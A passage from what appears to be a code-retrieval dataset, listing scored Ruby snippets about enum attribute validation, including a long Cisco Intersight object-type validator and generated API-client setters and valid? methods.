\"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n unless validator.valid?(object_type)\n fail ArgumentError, \"invalid value for \\\"object_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @object_type = object_type\n end",
"title": ""
},
{
"docid": "b32831f81f13e75188ef82c53b4cff4f",
"score": "0.52094126",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"\", \"APIC\", \"DCNM\", \"UCSFI\", \"UCSFIISM\", \"IMC\", \"IMCM4\", \"IMCM5\", \"IMCRack\", \"UCSIOM\", \"HX\", \"HyperFlexAP\", \"IWE\", \"UCSD\", \"IntersightAppliance\", \"IntersightAssist\", \"PureStorageFlashArray\", \"UCSC890\", \"NetAppOntap\", \"NetAppActiveIqUnifiedManager\", \"EmcScaleIo\", \"EmcVmax\", \"EmcVplex\", \"EmcXtremIo\", \"VmwareVcenter\", \"MicrosoftHyperV\", \"AppDynamics\", \"Dynatrace\", \"NewRelic\", \"ServiceNow\", \"ReadHatOpenStack\", \"CloudFoundry\", \"MicrosoftAzureApplicationInsights\", \"OpenStack\", \"MicrosoftSqlServer\", \"Kubernetes\", \"AmazonWebService\", \"AmazonWebServiceBilling\", \"MicrosoftAzureServicePrincipal\", \"MicrosoftAzureEnterpriseAgreement\", \"DellCompellent\", \"HPE3Par\", \"RedHatEnterpriseVirtualization\", \"NutanixAcropolis\", \"HPEOneView\", \"ServiceEngine\", \"HitachiVirtualStoragePlatform\", \"IMCBlade\", \"TerraformCloud\", \"TerraformAgent\", \"CustomTarget\", \"AnsibleEndpoint\", \"HTTPEndpoint\", \"SSHEndpoint\", \"CiscoCatalyst\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"title": ""
},
{
"docid": "ee363055a838373695652b0b491da617",
"score": "0.5189669",
"text": "def compliance=(compliance)\n validator = EnumAttributeValidator.new('String', ['Pdf15', 'PdfA1b'])\n unless validator.valid?(compliance)\n fail ArgumentError, 'invalid value for \"compliance\", must be one of #{validator.allowable_values}.'\n end\n @compliance = compliance\n end",
"title": ""
},
{
"docid": "357d6a8e13f5a706b484303ab9ee7cdb",
"score": "0.5185224",
"text": "def supports_polymorphic_enum_handling(attribute_name)\n self.eh_params[:polymorphic_attribute] = \"#{attribute_name}_type\".to_sym\n end",
"title": ""
},
{
"docid": "78e5d949278093d255b3732d7aff694a",
"score": "0.51700306",
"text": "def should_deny_values(options)\n klass = self.name.gsub(/Test$/, '').constantize\n\n context \"#{klass}\" do\n options.each_pair do |attribute, values|\n [*values].each do |value|\n display_value = value.class == NilClass ? \"nil\" : \"\\\"#{value}\\\"\"\n \n should \"not allow #{attribute} to be #{display_value}\" do\n instance = get_instance_of(klass)\n instance.send(\"#{attribute}=\", value)\n assert !instance.valid?, \n \"Expected #{klass} to be invalid when #{attribute} is set to #{display_value}\"\n assert instance.errors.on(attribute.to_sym), \n \"Expected errors on #{attribute} when set to #{display_value}\"\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e2e9afb173da2d957ea5f6da5e4dc86a",
"score": "0.5146029",
"text": "def enum?\n true\n end",
"title": ""
},
{
"docid": "cab57c195d4c38b65eff62f6280e2382",
"score": "0.51444733",
"text": "def kind=(kind)\n validator = EnumAttributeValidator.new('String', [\"UNKNOWN\", \"USER_CREATED\", \"INTERNAL\"])\n unless validator.valid?(kind)\n fail ArgumentError, \"invalid value for \\\"kind\\\", must be one of #{validator.allowable_values}.\"\n end\n @kind = kind\n end",
"title": ""
},
{
"docid": "a9a890b66030eba0877102e7863ecb9e",
"score": "0.51369494",
"text": "def validate_attribute_syntax\n\t\t@values.each do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bd91828da82acda673c62a1067987a25",
"score": "0.5134045",
"text": "def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 25\n return false if @based_on.nil?\n based_on_validator = EnumAttributeValidator.new('String', [\"MyCalendar\", \"Customer\", \"AllHours\", \"Custom\"])\n return false unless based_on_validator.valid?(@based_on)\n return false if !@application_order.nil? && @application_order > 32767\n return false if !@application_order.nil? && @application_order < 1\n return false if !@respond_hours.nil? && @respond_hours > 999\n return false if !@respond_hours.nil? && @respond_hours < 0\n return false if !@respond_percent.nil? && @respond_percent > 99999\n return false if !@respond_percent.nil? && @respond_percent < 0\n return false if !@plan_within.nil? && @plan_within > 999\n return false if !@plan_within.nil? && @plan_within < 0\n return false if !@plan_within_percent.nil? && @plan_within_percent > 99999\n return false if !@plan_within_percent.nil? && @plan_within_percent < 0\n return false if !@resolution_hours.nil? && @resolution_hours > 999\n return false if !@resolution_hours.nil? && @resolution_hours < 0\n return false if !@resolution_percent.nil? && @resolution_percent > 99999\n return false if !@resolution_percent.nil? && @resolution_percent < 0\n return true\n end",
"title": ""
},
{
"docid": "6f8fee872b3443305e1369595c783840",
"score": "0.5133414",
"text": "def valid?\n policy_validator = EnumAttributeValidator.new('Object', ['RMF', 'DIACAP', 'Reporting'])\n return false unless policy_validator.valid?(@policy)\n registration_type_validator = EnumAttributeValidator.new('Object', ['Assess and Authorize', 'Assess Only', 'Guest', 'Regular', 'Functional', 'Cloud Service Provider'])\n return false unless registration_type_validator.valid?(@registration_type)\n organization_name_validator = EnumAttributeValidator.new('Object', ['Army', 'Navy', 'Air Force', 'Marines', 'DoD', 'Defense Information Systems Agency'])\n return false unless organization_name_validator.valid?(@organization_name)\n system_type_validator = EnumAttributeValidator.new('Object', ['IS Major Application', 'IS Enclave', 'Platform IT', 'Platform IT System', 'Interconnection', 'AIS Application'])\n return false unless system_type_validator.valid?(@system_type)\n authorization_status_validator = EnumAttributeValidator.new('Object', ['Authority to Operate (ATO)', 'Interim Authority to Operate (IATO)', 'Interim Authority to Test (IATT)', 'Authority to Operate with Conditions (ATO) w/Conditions)', 'Denied Authority to Operate (DATO)', 'Not Yet Authorized', 'Unaccredited', 'Decommissioned'])\n return false unless authorization_status_validator.valid?(@authorization_status)\n confidentiality_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless confidentiality_validator.valid?(@confidentiality)\n integrity_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless integrity_validator.valid?(@integrity)\n availability_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless availability_validator.valid?(@availability)\n mac_validator = EnumAttributeValidator.new('Object', ['I', 'II', 'III'])\n return false unless mac_validator.valid?(@mac)\n dod_confidentiality_validator = EnumAttributeValidator.new('Object', ['Public', 'Sensitive', 'Classified'])\n return false unless dod_confidentiality_validator.valid?(@dod_confidentiality)\n true\n end",
"title": ""
},
{
"docid": "43deed946b4deaa7a6dd5a6e2b77a417",
"score": "0.5130944",
"text": "def enum?\n false\n end",
"title": ""
},
{
"docid": "8f63719c80c3ed5cc2b4d9d3eaf29db9",
"score": "0.51203525",
"text": "def unassignable_value_for(attr)\n case attr.type\n when :integer\n attr.assignable_values.max + 1\n when :string\n assignable_value_for(attr) + '-unassignable'\n else\n raise \"Assignable values for :#{attr.type} attributes not supported\"\n end\n end",
"title": ""
},
{
"docid": "c47d0ef8ae645c81ce97b33bf3c93f37",
"score": "0.5117331",
"text": "def define_value_methods!\n self.accepted_values.each do |(name, bit)|\n self.meta_class.class_eval <<-FLAG_METHODS\n\n def #{name}\n ((@value || 0) & #{bit}) != 0\n end\n alias :#{name}? :#{name}\n\n def #{name}=(new_value)\n boolean = self.to_boolean(new_value)\n current = self.#{name}\n if boolean ^ current\n self.value = ((@value || 0) ^ #{bit})\n end\n self.#{name}\n end\n\n FLAG_METHODS\n end\n end",
"title": ""
},
{
"docid": "33054e077cd8262c72df41ae9bf69d31",
"score": "0.5108703",
"text": "def replace_enumerations_in_hash(attrs, allow_multiple = true) #:nodoc:\n attrs.each do |attr, value|\n if options = enumerator_options_for(attr, value, allow_multiple)\n attrs.delete(attr)\n attrs.merge!(options)\n end\n end\n end",
"title": ""
},
{
"docid": "014d5d1896a36c56888e9112fe53938a",
"score": "0.5108653",
"text": "def update_enum_attribute(database_id:, collection_id:, key:, elements:, required:, default:)\n path = '/databases/{databaseId}/collections/{collectionId}/attributes/enum/{key}'\n .gsub('{databaseId}', database_id)\n .gsub('{collectionId}', collection_id)\n .gsub('{key}', key)\n\n if database_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"databaseId\"')\n end\n\n if collection_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"collectionId\"')\n end\n\n if key.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"key\"')\n end\n\n if elements.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"elements\"')\n end\n\n if required.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"required\"')\n end\n\n if default.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"default\"')\n end\n\n params = {\n elements: elements,\n required: required,\n default: default,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::AttributeEnum\n )\n end",
"title": ""
},
{
"docid": "dcc177b2012612550b8eeea52e57d111",
"score": "0.5106191",
"text": "def as_enum\n # Should look like:\n # enum attribute_name: [\"one\", \"two\"]\n\n if is_enum?\n if (enum_options = properties[:enum_options]).present?\n enum_options_as_hash = Frontier::HashSingleLineDecorator.new array_as_hash(enum_options)\n \"enum #{name}: {#{enum_options_as_hash}}\"\n else\n raise(ArgumentError, \"No enum_options provided for attribute: #{name}\")\n end\n else\n raise(ArgumentError, \"Attempting to display field #{name} as enum, but is #{type}\")\n end\n end",
"title": ""
},
{
"docid": "7a09e0c90e0709a14b9b262e30c704ec",
"score": "0.50937504",
"text": "def validate_marital_status(val)\n unless @valid_marital_statuses.include?(val)\n raise \"Invalid value: #{val}\"\n end\n end",
"title": ""
},
{
"docid": "7a09e0c90e0709a14b9b262e30c704ec",
"score": "0.50937504",
"text": "def validate_marital_status(val)\n unless @valid_marital_statuses.include?(val)\n raise \"Invalid value: #{val}\"\n end\n end",
"title": ""
},
{
"docid": "9aec55858498c37905bd05d874f4013a",
"score": "0.50840217",
"text": "def enumeration?\n @is_enumeration ||= @xml.xpath('./xs:restriction/xs:enumeration', {'xs' => 'http://www.w3.org/2001/XMLSchema'}).length > 0\n end",
"title": ""
},
{
"docid": "e9ef4781273662f843a0de3cf5619270",
"score": "0.5082524",
"text": "def pa_esigibilita=(pa_esigibilita)\n validator = EnumAttributeValidator.new('String', ['I', 'D', 'S', 'N'])\n unless validator.valid?(pa_esigibilita)\n fail ArgumentError, 'invalid value for \"pa_esigibilita\", must be one of #{validator.allowable_values}.'\n end\n @pa_esigibilita = pa_esigibilita\n end",
"title": ""
},
{
"docid": "1d802e367bf697117a3a55c60eeb6489",
"score": "0.5074987",
"text": "def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"title": ""
},
{
"docid": "5656f6d73a1098f99089c6c24ec8d9c0",
"score": "0.50655115",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"title": ""
},
{
"docid": "bb0813227909c9a93a20ea4f58c7d324",
"score": "0.5064211",
"text": "def validate_allowed(record)\n unknown = provided(record) - allowed\n\n return if unknown.empty?\n\n record.errors.add(\n options[:attribute],\n \"contains unknown options: #{unknown.join(', ')}\"\n )\n end",
"title": ""
},
{
"docid": "90108605ef4ed6d8dd357504a3d86f54",
"score": "0.505987",
"text": "def valid?\n source_validator = EnumAttributeValidator.new('Integer', [\"1\", \"2\"])\n return false unless source_validator.valid?(@source)\n return true\n end",
"title": ""
},
{
"docid": "57afa6b65a77e5651a5dd7df65e1a85b",
"score": "0.50555235",
"text": "def valid?(value)\n return false if self == Enum\n return true if value.equal?(LAZY_VALUE)\n self.values.include?(value.to_s)\n end",
"title": ""
},
{
